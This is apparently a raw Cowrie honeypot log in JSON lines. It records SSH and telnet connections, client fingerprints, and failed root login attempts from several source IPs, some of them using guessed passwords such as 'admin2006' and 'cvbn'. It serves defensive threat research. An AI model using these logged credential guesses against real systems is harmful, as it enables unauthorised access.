{"eventid":"cowrie.session.connect","src_ip":"108.178.7.34","src_port":41116,"dst_ip":"10.17.0.5","dst_port":22,"session":"4de8b5e95ae4","protocol":"ssh","message":"New connection: 108.178.7.34:41116 (10.17.0.5:22) [session: 4de8b5e95ae4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:44:18.682046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:44:18.686956Z","src_ip":"108.178.7.34","session":"4de8b5e95ae4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:44:18.716328Z","src_ip":"108.178.7.34","session":"4de8b5e95ae4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"21:52:00:4d:de:d6:4c:65:fe:10:e4:76:8b:42:4f:00","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGf916O0qzQS/duVXJNJB21CI1xKy4jeLjIoApas9nsr1zGuebe06jyed+/8+ypFzPLsGHUyiQw5QHRtoIqXjHVJ8zX87a2BiQy7SMjgxvfxYWv45Ekk05zLmJjwogxBHWy76GmfsIjaqJnRchdCAFKgVOnDd3pxy3elM0VNoa7Pu6MRWob1Ry0Kp4hPeF7mUxMQbxiLYhTetPR+GpwY2ZSHkvvzupLLtcbHndMzRTcJ7l2i/fe8lKvm9CEflyY5L+k9CKO8Y2Dze28etganGxaSU2XcUUKnZ0yGabBXaFSREYE6lvULp+kqChWEKl0+aagYRVw+G6r69K2WL1lDBx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 21:52:00:4d:de:d6:4c:65:fe:10:e4:76:8b:42:4f:00","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:44:18.842549Z","src_ip":"108.178.7.34","session":"4de8b5e95ae4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"21:52:00:4d:de:d6:4c:65:fe:10:e4:76:8b:42:4f:00","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGf916O0qzQS/duVXJNJB21CI1xKy4jeLjIoApas9nsr1zGuebe06jyed+/8+ypFzPLsGHUyiQw5QHRtoIqXjHVJ8zX87a2BiQy7SMjgxvfxYWv45Ekk05zLmJjwogxBHWy76GmfsIjaqJnRchdCAFKgVOnDd3pxy3elM0VNoa7Pu6MRWob1Ry0Kp4hPeF7mUxMQbxiLYhTetPR+GpwY2ZSHkvvzupLLtcbHndMzRTcJ7l2i/fe8lKvm9CEflyY5L+k9CKO8Y2Dze28etganGxaSU2XcUUKnZ0yGabBXaFSREYE6lvULp+kqChWEKl0+aagYRVw+G6r69K2WL1lDBx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:44:18.845939Z","src_ip":"108.178.7.34","session":"4de8b5e95ae4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"98:fb:b0:5f:a9:2f:32:1c:78:06:ec:86:c9:79:38:0a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPk2z3WhhEHEuSkXaYkZb+SPCO1SsWcUJVPj9irYnPuOGFQI0gqELaG2TcVXoI7IxGv5ktPspdRqtoRsR9j28N2iG56vZFkYCMy+dISZUz4flNiPi9zFeLP4Fs69Ka93w/3nOWShyDcS4kiAC5OuqejTCnUEOmj6XeW7VJutSWPFj0/ls5n3BdIFNE1N8W2nVVaVX0KZkxmBhsYdvgKjLhcVRkUSpoAbYxFS25o2BkqVXCvUTROvPv0fBfiZa8N2IKZ/RrkUV0UAf3j7oUHjhbC4GbiX1P5lZf2IgvA5HIGtqpRpglr8sbmu1Ghn+biNBLBEYbPn7buEA8e+ydGuTv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 98:fb:b0:5f:a9:2f:32:1c:78:06:ec:86:c9:79:38:0a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:44:18.877514Z","src_ip":"108.178.7.34","session":"4de8b5e95ae4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"98:fb:b0:5f:a9:2f:32:1c:78:06:ec:86:c9:79:38:0a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPk2z3WhhEHEuSkXaYkZb+SPCO1SsWcUJVPj9irYnPuOGFQI0gqELaG2TcVXoI7IxGv5ktPspdRqtoRsR9j28N2iG56vZFkYCMy+dISZUz4flNiPi9zFeLP4Fs69Ka93w/3nOWShyDcS4kiAC5OuqejTCnUEOmj6XeW7VJutSWPFj0/ls5n3BdIFNE1N8W2nVVaVX0KZkxmBhsYdvgKjLhcVRkUSpoAbYxFS25o2BkqVXCvUTROvPv0fBfiZa8N2IKZ/RrkUV0UAf3j7oUHjhbC4GbiX1P5lZf2IgvA5HIGtqpRpglr8sbmu1Ghn+biNBLBEYbPn7buEA8e+ydGuTv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:44:18.881224Z","src_ip":"108.178.7.34","session":"4de8b5e95ae4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"88:2a:9a:fb:3f:c4:ba:d5:c6:58:52:46:05:68:74:d8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAz28LiKT8No+qr99FYR3E71dbyZzIvgz2Hk6gTyV7Oo1ERf9RpzHDIzy9TNqhTSpK2UDB9709bZ8Yj0lSiIfpWTqLyUeNEQLJWXn9gsnAPIir7UpszLtxzCO5FJii+SiE2dxGlg8PZuLl6O9meooY2yTAOvlejDl3fV15pBv80EgSa038GceLpKBO6XEw1+pIRm0U0MazotdVtni40kwrd7oClfxqpfz2er5ErDjenktCYOILq9L0egjajT/hnENSe2/S4pM1R+7boR0AkHagiLK2cjS9Tg4k+cAYdvZ0JETim3n3LXJkSHjFYLJUF1S1tWV5Wp+nikqXeCZkIeHmqQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 88:2a:9a:fb:3f:c4:ba:d5:c6:58:52:46:05:68:74:d8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:44:18.912728Z","src_ip":"108.178.7.34","session":"4de8b5e95ae4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"88:2a:9a:fb:3f:c4:ba:d5:c6:58:52:46:05:68:74:d8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAz28LiKT8No+qr99FYR3E71dbyZzIvgz2Hk6gTyV7Oo1ERf9RpzHDIzy9TNqhTSpK2UDB9709bZ8Yj0lSiIfpWTqLyUeNEQLJWXn9gsnAPIir7UpszLtxzCO5FJii+SiE2dxGlg8PZuLl6O9meooY2yTAOvlejDl3fV15pBv80EgSa038GceLpKBO6XEw1+pIRm0U0MazotdVtni40kwrd7oClfxqpfz2er5ErDjenktCYOILq9L0egjajT/hnENSe2/S4pM1R+7boR0AkHagiLK2cjS9Tg4k+cAYdvZ0JETim3n3LXJkSHjFYLJUF1S1tWV5Wp+nikqXeCZkIeHmqQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:44:18.916134Z","src_ip":"108.178.7.34","session":"4de8b5e95ae4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ae:58:84:a6:7d:e7:78:7e:d0:4b:d7:c7:08:16:fc:fd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC5+47tux5MuLEiIqNGrYwg8ioLVH1zfAnoKWUE6TdAY5/tJUYNNmOj9JW+O/YZzIeAauGRqSBsUFLQ8MfwglHS3In/DUKeulyvNXUxCVW8O1JQf9KsL4HynqEVDl80m9FiZTzoe9B2lRSPraKSIAyhHLZ9b78JIBv4EOiQ1ujzU+dlrGzux7pRKZjRymBLUSPHq1YLqeLCfXmX3ibxahm3+G9suNPsI089Ga7cJsoUM6o2HPSixkasJJSxdYc97ziKMdd2q9nqe35zvVmRV30aYU/dGzdnxSqWQVheKIYFv4TP9KZzGG9PRYu8hR1B0HMRuIoqvnmPXDsnI0wJ1HrvxGS1Hnh1m09KY+W50guPFUwTC3Pw8XwJLDuhb0TLD3u/Pt4vlZCSK19u/iHrbsriNS1Db8UEJZ4Ie6aPXUT/WzqgEE4PW2spaNons6+l1aJ9D63j155QyEVzsNXy71avT5lwuXKf1l991D8uRtr9eaSUyWnxXqh10RuzTR8KrX8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ae:58:84:a6:7d:e7:78:7e:d0:4b:d7:c7:08:16:fc:fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:44:18.950656Z","src_ip":"108.178.7.34","session":"4de8b5e95ae4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ae:58:84:a6:7d:e7:78:7e:d0:4b:d7:c7:08:16:fc:fd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC5+47tux5MuLEiIqNGrYwg8ioLVH1zfAnoKWUE6TdAY5/tJUYNNmOj9JW+O/YZzIeAauGRqSBsUFLQ8MfwglHS3In/DUKeulyvNXUxCVW8O1JQf9KsL4HynqEVDl80m9FiZTzoe9B2lRSPraKSIAyhHLZ9b78JIBv4EOiQ1ujzU+dlrGzux7pRKZjRymBLUSPHq1YLqeLCfXmX3ibxahm3+G9suNPsI089Ga7cJsoUM6o2HPSixkasJJSxdYc97ziKMdd2q9nqe35zvVmRV30aYU/dGzdnxSqWQVheKIYFv4TP9KZzGG9PRYu8hR1B0HMRuIoqvnmPXDsnI0wJ1HrvxGS1Hnh1m09KY+W50guPFUwTC3Pw8XwJLDuhb0TLD3u/Pt4vlZCSK19u/iHrbsriNS1Db8UEJZ4Ie6aPXUT/WzqgEE4PW2spaNons6+l1aJ9D63j155QyEVzsNXy71avT5lwuXKf1l991D8uRtr9eaSUyWnxXqh10RuzTR8KrX8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:44:18.953764Z","src_ip":"108.178.7.34","session":"4de8b5e95ae4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d5:dc:89:1a:0a:e1:ef:a2:23:d2:30:63:d7:15:0c:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAu/tcb0L4pWFAmyFg5gtwAhqav0FraU5ahLfzkhhhYnX1zv5f/BCPgNZGNV5lRcgMgN6pLcGIuEG6a9GTatDR8COlHd7CpEgmw/CwlrXcBvjAetHCFuuL2YHNHZX6M0yRPeuvrEsg4f/kDQC1emhiDjy/NZRN2PcnXG5C8cMq/KWMO//E2s+DxwNND61nWh+1aPCXx6y5gCXZ6QidQ5txstuUskXeya8XUnlavXR5eBy+tttZDlhbLOwUe5JkmimIGYuEkS99lInNSKrjd6OW1PuLcRzy5k6axncVaxKquFMkbVCwTYvaZvhFXsRa48UhlvEch2/ta0T8SVIS9QgPmw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d5:dc:89:1a:0a:e1:ef:a2:23:d2:30:63:d7:15:0c:f9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:44:18.990445Z","src_ip":"108.178.7.34","session":"4de8b5e95ae4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d5:dc:89:1a:0a:e1:ef:a2:23:d2:30:63:d7:15:0c:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAu/tcb0L4pWFAmyFg5gtwAhqav0FraU5ahLfzkhhhYnX1zv5f/BCPgNZGNV5lRcgMgN6pLcGIuEG6a9GTatDR8COlHd7CpEgmw/CwlrXcBvjAetHCFuuL2YHNHZX6M0yRPeuvrEsg4f/kDQC1emhiDjy/NZRN2PcnXG5C8cMq/KWMO//E2s+DxwNND61nWh+1aPCXx6y5gCXZ6QidQ5txstuUskXeya8XUnlavXR5eBy+tttZDlhbLOwUe5JkmimIGYuEkS99lInNSKrjd6OW1PuLcRzy5k6axncVaxKquFMkbVCwTYvaZvhFXsRa48UhlvEch2/ta0T8SVIS9QgPmw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:44:18.993547Z","src_ip":"108.178.7.34","session":"4de8b5e95ae4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:44:19.026149Z","src_ip":"108.178.7.34","session":"4de8b5e95ae4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":56966,"dst_ip":"159.203.135.109","dst_port":22,"session":"d68d541a4290","protocol":"ssh","message":"New connection: 27.71.230.31:56966 (159.203.135.109:22) [session: d68d541a4290]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:44:20.955373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:44:21.015531Z","src_ip":"27.71.230.31","session":"d68d541a4290","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:44:22.889232Z","src_ip":"27.71.230.31","session":"d68d541a4290","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0030426979065,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:44:25.299185Z","src_ip":"94.23.66.112","session":"8951fe11dc5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":47590,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd5881e6487b","protocol":"ssh","message":"New connection: 103.77.175.15:47590 (10.17.0.5:22) [session: fd5881e6487b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:44:26.863043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:44:26.867194Z","src_ip":"103.77.175.15","session":"fd5881e6487b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:44:27.119938Z","src_ip":"103.77.175.15","session":"fd5881e6487b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin2006","message":"login attempt [root/admin2006] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:44:27.579309Z","src_ip":"27.71.230.31","session":"d68d541a4290","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cvbn","message":"login attempt [root/cvbn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:44:27.879945Z","src_ip":"103.77.175.15","session":"fd5881e6487b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.9","message":"Connection lost after 7.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:44:28.830275Z","src_ip":"27.71.230.31","session":"d68d541a4290","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:44:29.733146Z","src_ip":"103.77.175.15","session":"fd5881e6487b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":56530,"dst_ip":"159.203.135.109","dst_port":23,"session":"406a3822f29d","protocol":"telnet","message":"New connection: 172.81.62.90:56530 (159.203.135.109:23) [session: 406a3822f29d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:44:47.360788Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":50376,"dst_ip":"159.203.135.109","dst_port":23,"session":"136326ab4359","protocol":"telnet","message":"New connection: 172.81.62.90:50376 (159.203.135.109:23) [session: 136326ab4359]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:44:56.842594Z"}
{"eventid":"cowrie.session.connect","src_ip":"121.185.89.74","src_port":41544,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1967543fc2f","protocol":"ssh","message":"New connection: 121.185.89.74:41544 (159.203.135.109:22) [session: b1967543fc2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:45:16.546850Z"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:45:17.705752Z","src_ip":"121.185.89.74","session":"b1967543fc2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.23922061920166,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:45:23.599919Z","src_ip":"172.81.62.90","session":"406a3822f29d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":37944,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1f5cd0e4df9","protocol":"ssh","message":"New connection: 103.82.132.16:37944 (159.203.135.109:22) [session: e1f5cd0e4df9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:45:26.183412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:45:26.187346Z","src_ip":"103.82.132.16","session":"e1f5cd0e4df9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:45:26.444351Z","src_ip":"103.82.132.16","session":"e1f5cd0e4df9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"220991","message":"login attempt [root/220991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:45:27.228336Z","src_ip":"103.82.132.16","session":"e1f5cd0e4df9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:45:28.488525Z","src_ip":"103.82.132.16","session":"e1f5cd0e4df9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.130","src_port":40916,"dst_ip":"10.17.0.5","dst_port":22,"session":"569ef163e92d","protocol":"ssh","message":"New connection: 66.132.172.130:40916 (10.17.0.5:22) [session: 569ef163e92d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:45:34.224401Z"}
